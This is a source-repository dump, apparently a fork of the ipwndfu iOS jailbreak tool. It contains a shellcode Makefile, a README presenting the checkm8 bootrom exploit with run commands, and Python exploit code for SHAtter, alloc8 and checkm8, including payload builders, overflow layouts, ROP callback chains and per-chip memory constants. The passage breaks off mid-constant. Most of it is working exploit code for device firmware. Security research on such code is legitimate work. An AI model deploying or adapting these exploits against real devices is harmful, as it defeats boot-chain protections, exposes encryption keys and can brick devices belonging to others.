    "content": "all: armv6 armv7 arm64\n\narmv6:\n\tarm-none-eabi-as -march=armv6 -mthumb --fatal-warnings -o bin/steaks4uce-shellcode.o src/steaks4uce-shellcode.S\n\tarm-none-eabi-objcopy -O binary bin/steaks4uce-shellcode.o bin/steaks4uce-shellcode.bin\n\trm bin/steaks4uce-shellcode.o\n\narmv7:\n\tarm-none-eabi-as -mthumb --fatal-warnings -o bin/limera1n-shellcode.o src/limera1n-shellcode.S\n\tarm-none-eabi-objcopy -O binary bin/limera1n-shellcode.o bin/limera1n-shellcode.bin\n\trm bin/limera1n-shellcode.o\n\n\tarm-none-eabi-as -mthumb --fatal-warnings -o bin/SHAtter-shellcode.o src/SHAtter-shellcode.S\n\tarm-none-eabi-objcopy -O binary bin/SHAtter-shellcode.o bin/SHAtter-shellcode.bin\n\trm bin/SHAtter-shellcode.o\n\n\tarm-none-eabi-as -mthumb --fatal-warnings -o bin/24Kpwn-shellcode.o src/24Kpwn-shellcode.S\n\tarm-none-eabi-objcopy -O binary bin/24Kpwn-shellcode.o bin/24Kpwn-shellcode.bin\n\trm bin/24Kpwn-shellcode.o\n\n\tarm-none-eabi-as -mthumb --fatal-warnings -o bin/alloc8-shellcode.o src/alloc8-shellcode.S\n\tarm-none-eabi-objcopy -O binary bin/alloc8-shellcode.o bin/alloc8-shellcode.bin\n\trm bin/alloc8-shellcode.o\n\n\tarm-none-eabi-as -mthumb --fatal-warnings -o bin/ibss-flash-nor-shellcode.o src/ibss-flash-nor-shellcode.S\n\tarm-none-eabi-objcopy -O binary bin/ibss-flash-nor-shellcode.o bin/ibss-flash-nor-shellcode.bin\n\trm bin/ibss-flash-nor-shellcode.o\n\n\tarm-none-eabi-as -mthumb --fatal-warnings -o bin/usb_0xA1_2_armv7.o src/usb_0xA1_2_armv7.S\n\tarm-none-eabi-objcopy -O binary bin/usb_0xA1_2_armv7.o bin/usb_0xA1_2_armv7.bin\n\trm bin/usb_0xA1_2_armv7.o\n\n\tarm-none-eabi-as -mthumb --fatal-warnings -o bin/checkm8_armv7.o src/checkm8_armv7.S\n\tarm-none-eabi-objcopy -O binary bin/checkm8_armv7.o bin/checkm8_armv7.bin\n\trm bin/checkm8_armv7.o\n\narm64:\n\txcrun -sdk iphoneos clang src/usb_0xA1_2_arm64.S -target arm64-apple-darwin -Wall -o bin/usb_0xA1_2_arm64.o\n\tgobjcopy -O binary -j .text bin/usb_0xA1_2_arm64.o bin/usb_0xA1_2_arm64.bin\n\trm bin/usb_0xA1_2_arm64.o\n\n\txcrun -sdk iphoneos clang src/checkm8_arm64.S -target arm64-apple-darwin -Wall -o bin/checkm8_arm64.o\n\tgobjcopy -O binary -j .text bin/checkm8_arm64.o bin/checkm8_arm64.bin\n\trm bin/checkm8_arm64.o\n\n\txcrun -sdk iphoneos clang src/t8010_t8011_disable_wxn_arm64.S -target arm64-apple-darwin -Wall -o bin/t8010_t8011_disable_wxn_arm64.o\n\tgobjcopy -O binary -j .text bin/t8010_t8011_disable_wxn_arm64.o bin/t8010_t8011_disable_wxn_arm64.bin\n\trm bin/t8010_t8011_disable_wxn_arm64.o\n"
  },
  {
    "path": "README.md",
    "content": "![](repo/ipwndfu.png)\n# Open-source jailbreaking tool for many iOS devices\n\n\n**Read [disclaimer](#disclaimer) before using this software.*\n\n## About this fork\n\n* This fork allows you to load img4 images (e.g. iBSS/LLB) in pwned DFU mode.\n\n* Also supports loading of unsigned img4 images. Run \"python rmsigchks.py\" to remove signature checks.\n\n* Supports s5l8960x (iPhone 5s) and - new - t8011 (iPad Pro 2017).\n\n* **IMPORTANT:** Other devices are currently **NOT SUPPORTED**.\n\n## checkm8\n\n* permanent unpatchable bootrom exploit for hundreds of millions of iOS devices\n\n* meant for researchers, this is not a jailbreak with Cydia yet\n\n* allows dumping SecureROM, decrypting keybags for iOS firmware, and demoting device for JTAG\n\n* current SoC support: s5l8947x, s5l8950x, s5l8955x, s5l8960x, t8002, t8004, t8010, t8011, t8015\n\n* future SoC support: s5l8940x, s5l8942x, s5l8945x, s5l8747x, t7000, t7001, s7002, s8000, s8001, s8003, t8012\n\n* full jailbreak with Cydia on latest iOS version is possible, but requires additional work\n\n\n## Quick start guide for checkm8\n\n1. Use a cable to connect device to your Mac. Hold buttons as needed to enter DFU Mode.\n\n2. First run ```./ipwndfu -p``` to exploit the device. Repeat the process if it fails, it is not reliable.\n\n3. Run ```./ipwndfu --dump-rom``` to get a dump of SecureROM.\n\n4. Run ```./ipwndfu --decrypt-gid KEYBAG``` to decrypt a keybag.\n\n5. Run ```./ipwndfu --demote``` to demote device and enable JTAG.\n\n\n## Features\n\n* Jailbreak and downgrade iPhone 3GS (new bootrom) with alloc8 untethered bootrom exploit. :-)\n\n* Pwned DFU Mode with steaks4uce exploit for S5L8720 devices.\n\n* Pwned DFU Mode with limera1n exploit for S5L8920/S5L8922 devices.\n\n* Pwned DFU Mode with SHAtter exploit for S5L8930 devices.\n\n* Dump SecureROM on S5L8920/S5L8922/S5L8930 devices.\n\n* Dump NOR on S5L8920 devices.\n\n* Flash NOR on S5L8920 devices.\n\n* Encrypt or decrypt hex data on a connected device in pwned DFU Mode using its GID or UID key.\n\n\n## Dependencies\n\nThis tool should be compatible with Mac and Linux. It won't work in a virtual machine.\n\n* libusb, `If you are using Linux: install libusb using your package manager.`\n* [iPhone 3GS iOS 4.3.5 iBSS](#ibss)\n\n\n## Tutorial\n\nThis tool can be used to downgrade or jailbreak iPhone 3GS (new bootrom) without SHSH blobs, as documented in [JAILBREAK-GUIDE](https://github.com/axi0mX/ipwndfu/blob/master/JAILBREAK-GUIDE.md).\n\n\n## Exploit write-up\n\nWrite-up for alloc8 exploit can be found here:\n\nhttps://github.com/axi0mX/alloc8\n\n\n## iBSS\n\nDownload iPhone 3GS iOS 4.3.5 IPSW from Apple:\n\nhttp://appldnld.apple.com/iPhone4/041-1965.20110721.gxUB5/iPhone2,1_4.3.5_8L1_Restore.ipsw\n\nIn Terminal, extract iBSS using the following command, then move the file to ipwndfu folder:\n\n```\nunzip -p iPhone2,1_4.3.5_8L1_Restore.ipsw Firmware/dfu/iBSS.n88ap.RELEASE.dfu > n88ap-iBSS-4.3.5.img3\n```\n\n\n## Coming soon!\n\n* Reorganize and refactor code.\n\n* Easier setup: download iBSS automatically using partial zip.\n\n* Dump SecureROM on S5L8720 devices.\n\n* Install custom boot logos on devices jailbroken with 24Kpwn and alloc8.\n\n* Enable verbose boot on devices jailbroken with 24Kpwn and alloc8.\n\n## Disclaimer\n\n**This is BETA software.**\n\nBackup your data.\n\nThis tool is currently in beta and could potentially brick your device. It will attempt to save a copy of data in NOR to nor-backups folder before flashing new data to NOR, and it will attempt to not overwrite critical data in NOR which your device requires to function. If something goes wrong, hopefully you will be able to restore to latest IPSW in iTunes and bring your device back to life, or use nor-backups to restore NOR to the original state, but I cannot provide any guarantees.\n\n**There is NO warranty provided.**\n\nTHERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.\n\n## Toolchain\n\nYou will not need to use `make` or compile anything to use ipwndfu. However, if you wish to make changes to assembly code in `src/*`, you will need to use an ARM toolchain and assemble the source files by running `make`.\n\nIf you are using macOS with Homebrew, you can use binutils and gcc-arm-embedded. You can install them with these commands:\n\n```\nbrew install binutils\nbrew cask install https://raw.githubusercontent.com/Homebrew/homebrew-cask/b88346667547cc85f8f2cacb3dfe7b754c8afc8a/Casks/gcc-arm-embedded.rb\n```\n\n## Credit\n\ngeohot for limera1n exploit\n\nposixninja and pod2g for SHAtter exploit\n\nchronic, CPICH, ius, MuscleNerd, Planetbeing, pod2g, posixninja, et al. for 24Kpwn exploit\n\npod2g for steaks4uce exploit\n\nwalac for pyusb\n"
  },
  {
    "path": "SHAtter.py",
    "content": "# Credit: This file is based on SHAtter exploit (segment overflow) by posixninja and pod2g.\n\nimport struct, sys, time\nimport dfu\n\ndef generate_payload():\n    shellcode_address = 0x8402F198 + 1\n    data = struct.pack('<40sI', '\\xF0' * 40, shellcode_address)\n    tags = data + struct.pack('<4s2I4s2I', 'SHSH'[::-1], 12, 0, 'CERT'[::-1], 12, 0)\n    header = struct.pack('<4s3I4s', 'Img3'[::-1], 20 + len(tags), len(tags), len(data), 'ibss'[::-1])\n    with open('bin/SHAtter-shellcode.bin', 'rb') as f:\n        shellcode = f.read()\n    assert len(shellcode) <= 1024\n    return header + tags + shellcode\n\ndef exploit():\n    print '*** based on SHAtter exploit (segment overflow) by posixninja and pod2g ***'\n\n    device = dfu.acquire_device()\n    print 'Found:', device.serial_number\n\n    if 'PWND:[' in device.serial_number:\n        print 'Device is already in pwned DFU Mode. Not executing exploit.'\n        return\n\n    if 'CPID:8930' not in device.serial_number:\n        print 'ERROR: Not a compatible device. This exploit is for S5L8930 devices only. Exiting.'\n        sys.exit(1)\n\n    if 'SRTG:[iBoot-574.4]' not in device.serial_number:\n        print 'ERROR: CPID is compatible, but serial number string does not match.'\n        print 'Make sure device is in SecureROM DFU Mode and not LLB/iBSS DFU Mode. Exiting.'\n        sys.exit(1)\n\n    dfu.reset_counters(device)\n    dfu.get_data(device, 0x40)\n    dfu.usb_reset(device)\n    dfu.release_device(device)\n\n    device = dfu.acquire_device()\n    dfu.request_image_validation(device)\n    dfu.release_device(device)\n\n    device = dfu.acquire_device()\n    dfu.get_data(device, 0x2C000)\n    dfu.release_device(device)\n\n    time.sleep(0.5)\n\n    device = dfu.acquire_device()\n    dfu.reset_counters(device)\n    dfu.get_data(device, 0x140)\n    dfu.usb_reset(device)\n    dfu.release_device(device)\n\n    device = dfu.acquire_device()\n    dfu.request_image_validation(device)\n    dfu.release_device(device)\n\n    device = dfu.acquire_device()\n    dfu.send_data(device, generate_payload())\n    dfu.get_data(device, 0x2C000)\n    dfu.release_device(device)\n\n    time.sleep(0.5)\n\n    device = dfu.acquire_device()\n    failed = 'PWND:[SHAtter]' not in device.serial_number\n    dfu.release_device(device)\n\n    if failed:\n        print 'ERROR: Exploit failed. Device did not enter pwned DFU Mode.'\n        sys.exit(1)\n\n    print 'Device is now in pwned DFU Mode.'\n"
  },
  {
    "path": "alloc8.py",
    "content": "import copy, struct, sys\n\nalloc8_constants_359_3 = [\n    0x84034000, #  1 - MAIN_STACK_ADDRESS\n         0x544, #  2 - clean_invalidate_data_cache\n    0x84024020, #  3 - gNorImg3List\n        0x1ccd, #  4 - free\n        0x3ca1, #  5 - exit_critical_section\n        0x451d, #  6 - home_button_pressed\n        0x450d, #  7 - power_button_pressed\n        0x44e1, #  8 - cable_connected\n    0x696c6c62, #  9 - ILLB_MAGIC\n        0x1f6f, # 10 - get_nor_image\n    0x84000000, # 11 - LOAD_ADDRESS\n       0x24000, # 12 - MAX_SIZE\n        0x3969, # 13 - jump_to\n        0x38a1, # 14 - usb_create_serial_number_string\n        0x8e7d, # 15 - strlcat\n        0x349d, # 16 - usb_wait_for_image\n    0x84024228, # 17 - gLeakingDFUBuffer\n    0x65786563, # 18 - EXEC_MAGIC\n        0x1f79, # 19 - memz_create\n        0x1fa1, # 20 - memz_destroy\n    0x696d6733, # 21 - IMG3_STRUCT_MAGIC\n    0x4d656d7a, # 22 - MEMZ_STRUCT_MAGIC\n        0x1fe5, # 23 - image3_create_struct\n        0x2655, # 24 - image3_load_continue\n        0x277b, # 25 - image3_load_fail\n]\n\nalloc8_constants_359_3_2 = [\n    0x84034000, #  1 - MAIN_STACK_ADDRESS\n         0x544, #  2 - clean_invalidate_data_cache\n    0x84024020, #  3 - gNorImg3List\n        0x1ccd, #  4 - free\n        0x3ca9, #  5 - exit_critical_section\n        0x4525, #  6 - home_button_pressed\n        0x4515, #  7 - power_button_pressed\n        0x44e9, #  8 - cable_connected\n    0x696c6c62, #  9 - ILLB_MAGIC\n        0x1f77, # 10 - get_nor_image\n    0x84000000, # 11 - LOAD_ADDRESS\n       0x24000, # 12 - MAX_SIZE\n        0x3971, # 13 - jump_to\n        0x38a9, # 14 - usb_create_serial_number_string\n        0x8e85, # 15 - strlcat\n        0x34a5, # 16 - usb_wait_for_image\n    0x84024228, # 17 - gLeakingDFUBuffer\n    0x65786563, # 18 - EXEC_MAGIC\n        0x1f81, # 19 - memz_create\n        0x1fa9, # 20 - memz_destroy\n    0x696d6733, # 21 - IMG3_STRUCT_MAGIC\n    0x4d656d7a, # 22 - MEMZ_STRUCT_MAGIC\n        0x1fed, # 23 - image3_create_struct\n        0x265d, # 24 - image3_load_continue\n        0x2783, # 25 - image3_load_fail\n]\n\ndef empty_img3(size):\n\tassert size >= 20\n\treturn struct.pack('<4s3I4s', 'Img3'[::-1], size, 0, 0, 'zero'[::-1]) + '\\x00' * (size - 20)\n\ndef exploit(nor, version):\n\tif version == '359.3':\n\t    constants = alloc8_constants_359_3\n\t    exceptions = [0x5620, 0x5630]\n\telif version == '359.3.2':\n\t    constants = alloc8_constants_359_3_2\n\t    exceptions = [0x5628, 0x5638]\n\telse:\n\t    print 'ERROR: SecureROM version %s is not supported by alloc8.' % version\n\t    sys.exit(1)\n\n\tfor c in nor.parts[1]:\n\t\tassert c == '\\x00'\n\tassert len(nor.images) < 32\n\n\tMAX_SHELLCODE_LENGTH = 460\n\twith open('bin/alloc8-shellcode.bin', 'rb') as f:\n\t\tshellcode = f.read()\n\tassert len(shellcode) <= MAX_SHELLCODE_LENGTH\n\n\t# Shellcode has placeholder values for constants; check they match and replace with constants from config.\n\tplaceholders_offset = len(shellcode) - 4 * len(constants)\n\tfor i in range(len(constants)):\n\t    offset = placeholders_offset + 4 * i\n\t    (value,) = struct.unpack('<I', shellcode[offset:offset + 4])\n\t    assert value == 0xBAD00001 + i\n\n\tnew_nor = copy.deepcopy(nor)\n\tnew_nor.parts[1] = shellcode[:placeholders_offset] + struct.pack('<%sI' % len(constants), *constants) + '\\x00' * (MAX_SHELLCODE_LENGTH - len(shellcode))\n\n\twhile len(new_nor.images) < 713:\n\t   new_nor.images.append(empty_img3(new_nor.block_size))\n\n\t# Image no. 714 must end at the end of the 4096-byte block.\n\tNOR_READ_SIZE = 4096\n\toffset = 0\n\tfor image in new_nor.images:\n\t\toffset += len(image)\n\tsize = NOR_READ_SIZE - offset % NOR_READ_SIZE\n\tnew_nor.images.append(empty_img3(size))\n\n\t# This image is copied to address 0x8. SHELLCODE_ADDRESS overrides the data abort exception handler.\n\tSHELLCODE_ADDRESS = 0x84026214 + 1\n\tnew_nor.images.append(empty_img3(52)[:40] + struct.pack('<4I', SHELLCODE_ADDRESS, 0, *exceptions))\n\n\treturn new_nor\n\ndef remove_exploit(nor):\n    assert len(nor.images) >= 700\n\n    new_nor = copy.deepcopy(nor)\n\n    new_images = []\n    for image in new_nor.images:\n        assert len(image) >= 20\n        if image[16:20] != 'zero'[::-1]:\n            new_images.append(image)\n    assert len(new_images) < 32\n\n    new_nor.images = new_images\n    new_nor.parts[1] = '\\x00' * 460\n\n    return new_nor\n"
  },
  {
    "path": "checkm8.py",
    "content": "import array, ctypes, struct, sys, time\nimport usb\nimport dfu\n\n# Must be global so garbage collector never frees it\nrequest = None\ntransfer_ptr = None\nnever_free_device = None\n\ndef libusb1_create_ctrl_transfer(device, request, timeout):\n  ptr = usb.backend.libusb1._lib.libusb_alloc_transfer(0)\n  assert ptr is not None\n\n  transfer = ptr.contents\n  transfer.dev_handle = device._ctx.handle.handle\n  transfer.endpoint = 0 # EP0\n  transfer.type = 0 # LIBUSB_TRANSFER_TYPE_CONTROL\n  transfer.timeout = timeout\n  transfer.buffer = request.buffer_info()[0] # C-pointer to request buffer\n  transfer.length = len(request)\n  transfer.user_data = None\n  transfer.callback = usb.backend.libusb1._libusb_transfer_cb_fn_p(0) # NULL\n  transfer.flags = 1 << 1 # LIBUSB_TRANSFER_FREE_BUFFER\n\n  return ptr\n\ndef libusb1_async_ctrl_transfer(device, bmRequestType, bRequest, wValue, wIndex, data, timeout):\n  if usb.backend.libusb1._lib is not device._ctx.backend.lib:\n    print 'ERROR: This exploit requires libusb1 backend, but another backend is being used. Exiting.'\n    sys.exit(1)\n\n  global request, transfer_ptr, never_free_device\n  request_timeout = int(timeout) if timeout >= 1 else 0\n  start = time.time()\n  never_free_device = device\n  request = array.array('B', struct.pack('<BBHHH', bmRequestType, bRequest, wValue, wIndex, len(data)) + data)\n  transfer_ptr = libusb1_create_ctrl_transfer(device, request, request_timeout)\n  assert usb.backend.libusb1._lib.libusb_submit_transfer(transfer_ptr) == 0\n\n  while time.time() - start < timeout / 1000.0:\n    pass\n\n  # Prototype of libusb_cancel_transfer is missing from pyusb\n  usb.backend.libusb1._lib.libusb_cancel_transfer.argtypes = [ctypes.POINTER(usb.backend.libusb1._libusb_transfer)]\n  assert usb.backend.libusb1._lib.libusb_cancel_transfer(transfer_ptr) == 0\n\ndef libusb1_no_error_ctrl_transfer(device, bmRequestType, bRequest, wValue, wIndex, data_or_wLength, timeout):\n  try:\n    device.ctrl_transfer(bmRequestType, bRequest, wValue, wIndex, data_or_wLength, timeout)\n  except usb.core.USBError:\n    pass\n\ndef usb_rop_callbacks(address, func_gadget, callbacks):\n  data = ''\n  for i in range(0, len(callbacks), 5):\n    block1 = ''\n    block2 = ''\n    for j in range(5):\n      address += 0x10\n      if j == 4:\n        address += 0x50\n      if i + j < len(callbacks) - 1:\n        block1 += struct.pack('<2Q', func_gadget, address)\n        block2 += struct.pack('<2Q', callbacks[i+j][1], callbacks[i+j][0])\n      elif i + j == len(callbacks) - 1:\n        block1 += struct.pack('<2Q', func_gadget, 0)\n        block2 += struct.pack('<2Q', callbacks[i+j][1], callbacks[i+j][0])\n      else:\n        block1 += struct.pack('<2Q', 0, 0)\n    data += block1 + block2\n  return data\n\n# TODO: assert we are within limits\ndef asm_arm64_branch(src, dest):\n  if src > dest:\n    value = 0x18000000 - (src - dest) / 4\n  else:\n    value = 0x14000000 + (dest - src) / 4\n  return struct.pack('<I', value)\n\n# TODO: check if start offset % 4 would break it\n# LDR X7, [PC, #OFFSET]; BR X7\ndef asm_arm64_x7_trampoline(dest):\n  return '47000058E0001FD6'.decode('hex') + struct.pack('<Q', dest)\n\n# THUMB +0 [0xF000F8DF, ADDR]  LDR.W   PC, [PC]\n# THUMB +2 [0xF002F8DF, ADDR]  LDR.W   PC, [PC, #2]\ndef asm_thumb_trampoline(src, dest):\n  assert src % 2 == 1 and dest % 2 == 1\n  if src % 4 == 1:\n    return struct.pack('<2I', 0xF000F8DF, dest)\n  else:\n    return struct.pack('<2I', 0xF002F8DF, dest)\n\ndef prepare_shellcode(name, constants=[]):\n  if name.endswith('_armv7'):\n    fmt = '<%sI'\n    size = 4\n  elif name.endswith('_arm64'):\n    fmt = '<%sQ'\n    size = 8\n  else:\n    print 'ERROR: Shellcode name \"%s\" does not end with known architecture. Exiting.' % name\n    sys.exit(1)\n\n  with open('bin/%s.bin' % name, 'rb') as f:\n    shellcode = f.read()\n\n  # Shellcode has placeholder values for constants; check they match and replace with constants from config\n  placeholders_offset = len(shellcode) - size * len(constants)\n  for i in range(len(constants)):\n      offset = placeholders_offset + size * i\n      (value,) = struct.unpack(fmt % '1', shellcode[offset:offset + size])\n      assert value == 0xBAD00001 + i\n\n  return shellcode[:placeholders_offset] + struct.pack(fmt % len(constants), *constants)\n\ndef stall(device):   libusb1_async_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 'A' * 0xC0, 0.00001)\ndef leak(device):    libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0xC0, 1)\ndef no_leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0xC1, 1)\n\ndef usb_req_stall(device):   libusb1_no_error_ctrl_transfer(device,  0x2, 3,   0x0,  0x80,  0x0, 10)\ndef usb_req_leak(device):    libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0x40,  1)\ndef usb_req_no_leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0x41,  1)\n\nclass DeviceConfig:\n  def __init__(self, version, cpid, large_leak, overwrite, overwrite_offset, hole, leak):\n    assert len(overwrite) <= 0x800\n    self.version          = version\n    self.cpid             = cpid\n    self.large_leak       = large_leak\n    self.overwrite        = overwrite\n    self.overwrite_offset = overwrite_offset\n    self.hole             = hole\n    self.leak             = leak\n\nPAYLOAD_OFFSET_ARMV7 = 384\nPAYLOAD_SIZE_ARMV7   = 320\nPAYLOAD_OFFSET_ARM64 = 384\nPAYLOAD_SIZE_ARM64   = 576\n\ndef payload(cpid):\n  if cpid == 0x8947:\n    constants_usb_s5l8947x = [\n                0x34000000, # 1 - LOAD_ADDRESS\n                0x65786563, # 2 - EXEC_MAGIC\n                0x646F6E65, # 3 - DONE_MAGIC\n                0x6D656D63, # 4 - MEMC_MAGIC\n                0x6D656D73, # 5 - MEMS_MAGIC\n                  0x79EC+1, # 6 - USB_CORE_DO_IO\n    ]\n    constants_checkm8_s5l8947x = [\n                0x3402D87C, # 1 - gUSBDescriptors\n                0x3402DDF8, # 2 - gUSBSerialNumber\n                  0x72A8+1, # 3 - usb_create_string_descriptor\n                0x3402C2DA, # 4 - gUSBSRNMStringDescriptor\n                0x34039800, # 5 - PAYLOAD_DEST\n      PAYLOAD_OFFSET_ARMV7, # 6 - PAYLOAD_OFFSET\n        PAYLOAD_SIZE_ARMV7, # 7 - PAYLOAD_SIZE\n                0x3402D92C, # 8 - PAYLOAD_PTR\n    ]\n    s5l8947x_handler = asm_thumb_trampoline(0x34039800+1, 0x7BC8+1) + prepare_shellcode('usb_0xA1_2_armv7', constants_usb_s5l8947x)[8:]\n    s5l8947x_shellcode = prepare_shellcode('checkm8_armv7', constants_checkm8_s5l8947x)\n    assert len(s5l8947x_shellcode) <= PAYLOAD_OFFSET_ARMV7\n    assert len(s5l8947x_handler) <= PAYLOAD_SIZE_ARMV7\n    return s5l8947x_shellcode + '\\0' * (PAYLOAD_OFFSET_ARMV7 - len(s5l8947x_shellcode)) + s5l8947x_handler\n  if cpid == 0x8950:\n    constants_usb_s5l8950x = [\n                0x10000000, # 1 - LOAD_ADDRESS\n                0x65786563, # 2 - EXEC_MAGIC\n                0x646F6E65, # 3 - DONE_MAGIC\n                0x6D656D63, # 4 - MEMC_MAGIC\n                0x6D656D73, # 5 - MEMS_MAGIC\n                  0x7620+1, # 6 - USB_CORE_DO_IO\n    ]\n    constants_checkm8_s5l8950x = [\n                0x10061988, # 1 - gUSBDescriptors\n                0x10061F80, # 2 - gUSBSerialNumber\n                  0x7C54+1, # 3 - usb_create_string_descriptor\n                0x100600D8, # 4 - gUSBSRNMStringDescriptor\n                0x10079800, # 5 - PAYLOAD_DEST\n      PAYLOAD_OFFSET_ARMV7, # 6 - PAYLOAD_OFFSET\n        PAYLOAD_SIZE_ARMV7, # 7 - PAYLOAD_SIZE\n                0x10061A24, # 8 - PAYLOAD_PTR\n    ]\n    s5l8950x_handler   = asm_thumb_trampoline(0x10079800+1, 0x8160+1) + prepare_shellcode('usb_0xA1_2_armv7', constants_usb_s5l8950x)[8:]\n    s5l8950x_shellcode = prepare_shellcode('checkm8_armv7', constants_checkm8_s5l8950x)\n    assert len(s5l8950x_shellcode) <= PAYLOAD_OFFSET_ARMV7\n    assert len(s5l8950x_handler) <= PAYLOAD_SIZE_ARMV7\n    return s5l8950x_shellcode + '\\0' * (PAYLOAD_OFFSET_ARMV7 - len(s5l8950x_shellcode)) + s5l8950x_handler\n  if cpid == 0x8955:\n    constants_usb_s5l8955x = [\n                0x10000000, # 1 - LOAD_ADDRESS\n                0x65786563, # 2 - EXEC_MAGIC\n                0x646F6E65, # 3 - DONE_MAGIC\n                0x6D656D63, # 4 - MEMC_MAGIC\n                0x6D656D73, # 5 - MEMS_MAGIC\n                  0x7660+1, # 6 - USB_CORE_DO_IO\n    ]\n    constants_checkm8_s5l8955x = [\n                0x10061988, # 1 - gUSBDescriptors\n                0x10061F80, # 2 - gUSBSerialNumber\n                  0x7C94+1, # 3 - usb_create_string_descriptor\n                0x100600D8, # 4 - gUSBSRNMStringDescriptor\n                0x10079800, # 5 - PAYLOAD_DEST\n      PAYLOAD_OFFSET_ARMV7, # 6 - PAYLOAD_OFFSET\n        PAYLOAD_SIZE_ARMV7, # 7 - PAYLOAD_SIZE\n                0x10061A24, # 8 - PAYLOAD_PTR\n    ]\n    s5l8955x_handler   = asm_thumb_trampoline(0x10079800+1, 0x81A0+1) + prepare_shellcode('usb_0xA1_2_armv7', constants_usb_s5l8955x)[8:]\n    s5l8955x_shellcode = prepare_shellcode('checkm8_armv7', constants_checkm8_s5l8955x)\n    assert len(s5l8955x_shellcode) <= PAYLOAD_OFFSET_ARMV7\n    assert len(s5l8955x_handler) <= PAYLOAD_SIZE_ARMV7\n    return s5l8955x_shellcode + '\\0' * (PAYLOAD_OFFSET_ARMV7 - len(s5l8955x_shellcode)) + s5l8955x_handler\n  if cpid == 0x8960:\n    constants_usb_s5l8960x = [\n               0x180380000, # 1 - LOAD_ADDRESS\n        0x6578656365786563, # 2 - EXEC_MAGIC\n        0x646F6E65646F6E65, # 3 - DONE_MAGIC\n        0x6D656D636D656D63, # 4 - MEMC_MAGIC\n        0x6D656D736D656D73, # 5 - MEMS_MAGIC\n               0x10000CC78, # 6 - USB_CORE_DO_IO\n    ]\n    constants_checkm8_s5l8960x = [\n               0x180086B58, # 1 - gUSBDescriptors\n               0x180086CDC, # 2 - gUSBSerialNumber\n               0x10000BFEC, # 3 - usb_create_string_descriptor\n               0x180080562, # 4 - gUSBSRNMStringDescriptor\n               0x18037FC00, # 5 - PAYLOAD_DEST\n      PAYLOAD_OFFSET_ARM64, # 6 - PAYLOAD_OFFSET\n        PAYLOAD_SIZE_ARM64, # 7 - PAYLOAD_SIZE\n               0x180086C70, # 8 - PAYLOAD_PTR\n    ]\n    s5l8960x_handler   = asm_arm64_x7_trampoline(0x10000CFB4) + asm_arm64_branch(0x10, 0x0) + prepare_shellcode('usb_0xA1_2_arm64', constants_usb_s5l8960x)[4:]\n    s5l8960x_shellcode = prepare_shellcode('checkm8_arm64', constants_checkm8_s5l8960x)\n    assert len(s5l8960x_shellcode) <= PAYLOAD_OFFSET_ARM64\n    assert len(s5l8960x_handler) <= PAYLOAD_SIZE_ARM64\n    return s5l8960x_shellcode + '\\0' * (PAYLOAD_OFFSET_ARM64 - len(s5l8960x_shellcode)) + s5l8960x_handler\n  if cpid == 0x8002:\n    constants_usb_t8002 = [\n                0x48818000, # 1 - LOAD_ADDRESS\n                0x65786563, # 2 - EXEC_MAGIC\n                0x646F6E65, # 3 - DONE_MAGIC\n                0x6D656D63, # 4 - MEMC_MAGIC\n                0x6D656D73, # 5 - MEMS_MAGIC\n                  0x9410+1, # 6 - USB_CORE_DO_IO\n    ]\n    constants_checkm8_t8002 = [\n                0x4880629C, # 1 - gUSBDescriptors\n                0x48802AB8, # 2 - gUSBSerialNumber\n                  0x8CA4+1, # 3 - usb_create_string_descriptor\n                0x4880037A, # 4 - gUSBSRNMStringDescriptor\n                0x48806E00, # 5 - PAYLOAD_DEST\n      PAYLOAD_OFFSET_ARMV7, # 6 - PAYLOAD_OFFSET\n        PAYLOAD_SIZE_ARMV7, # 7 - PAYLOAD_SIZE\n                0x48806344, # 8 - PAYLOAD_PTR\n    ]\n    t8002_handler = asm_thumb_trampoline(0x48806E00+1, 0x95F0+1) + prepare_shellcode('usb_0xA1_2_armv7', constants_usb_t8002)[8:]\n    t8002_shellcode = prepare_shellcode('checkm8_armv7', constants_checkm8_t8002)\n    assert len(t8002_shellcode) <= PAYLOAD_OFFSET_ARMV7\n    assert len(t8002_handler) <= PAYLOAD_SIZE_ARMV7\n    return t8002_shellcode + '\\0' * (PAYLOAD_OFFSET_ARMV7 - len(t8002_shellcode)) + t8002_handler\n  if cpid == 0x8004:\n    constants_usb_t8004 = [\n                0x48818000, # 1 - LOAD_ADDRESS\n                0x65786563, # 2 - EXEC_MAGIC\n                0x646F6E65, # 3 - DONE_MAGIC\n                0x6D656D63, # 4 - MEMC_MAGIC\n                0x6D656D73, # 5 - MEMS_MAGIC\n                  0x85A0+1, # 6 - USB_CORE_DO_IO\n    ]\n    constants_checkm8_t8004 = [\n                0x488062DC, # 1 - gUSBDescriptors\n                0x48802AE8, # 2 - gUSBSerialNumber\n                  0x7E34+1, # 3 - usb_create_string_descriptor\n                0x488003CA, # 4 - gUSBSRNMStringDescriptor\n                0x48806E00, # 5 - PAYLOAD_DEST\n      PAYLOAD_OFFSET_ARMV7, # 6 - PAYLOAD_OFFSET\n        PAYLOAD_SIZE_ARMV7, # 7 - PAYLOAD_SIZE\n                0x48806384, # 8 - PAYLOAD_PTR\n    ]\n    t8004_handler = asm_thumb_trampoline(0x48806E00+1, 0x877C+1) + prepare_shellcode('usb_0xA1_2_armv7', constants_usb_t8004)[8:]    \n    t8004_shellcode = prepare_shellcode('checkm8_armv7', constants_checkm8_t8004)\n    assert len(t8004_shellcode) <= PAYLOAD_OFFSET_ARMV7\n    assert len(t8004_handler) <= PAYLOAD_SIZE_ARMV7\n    return t8004_shellcode + '\\0' * (PAYLOAD_OFFSET_ARMV7 - len(t8004_shellcode)) + t8004_handler\n  if cpid == 0x8010:\n    constants_usb_t8010 = [\n               0x1800B0000, # 1 - LOAD_ADDRESS\n        0x6578656365786563, # 2 - EXEC_MAGIC\n        0x646F6E65646F6E65, # 3 - DONE_MAGIC\n        0x6D656D636D656D63, # 4 - MEMC_MAGIC\n        0x6D656D736D656D73, # 5 - MEMS_MAGIC\n               0x10000DC98, # 6 